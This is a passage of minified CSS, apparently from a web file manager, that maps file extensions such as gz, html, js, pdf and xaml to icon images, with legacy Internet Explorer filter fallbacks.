\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hdr{background-image:url("../../../images/file_icon/icon_file/hdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hdr.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-pot{background-image:url("../../../images/file_icon/icon_file/pot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pot.png?ver=3.30',sizingMethod='scale');}.x-potx,.x-ppam{background-image:url("../../../images/file_icon/icon_file/potx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/potx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/potx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-tga{background-image:url("../../../images/file_icon/icon_file/tga.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tga.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tga.png?ver=3.30',sizingMethod='scale');}.x-tgz{background-image:url("../../../images/file_icon/icon_file/tgz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tgz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tgz.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none 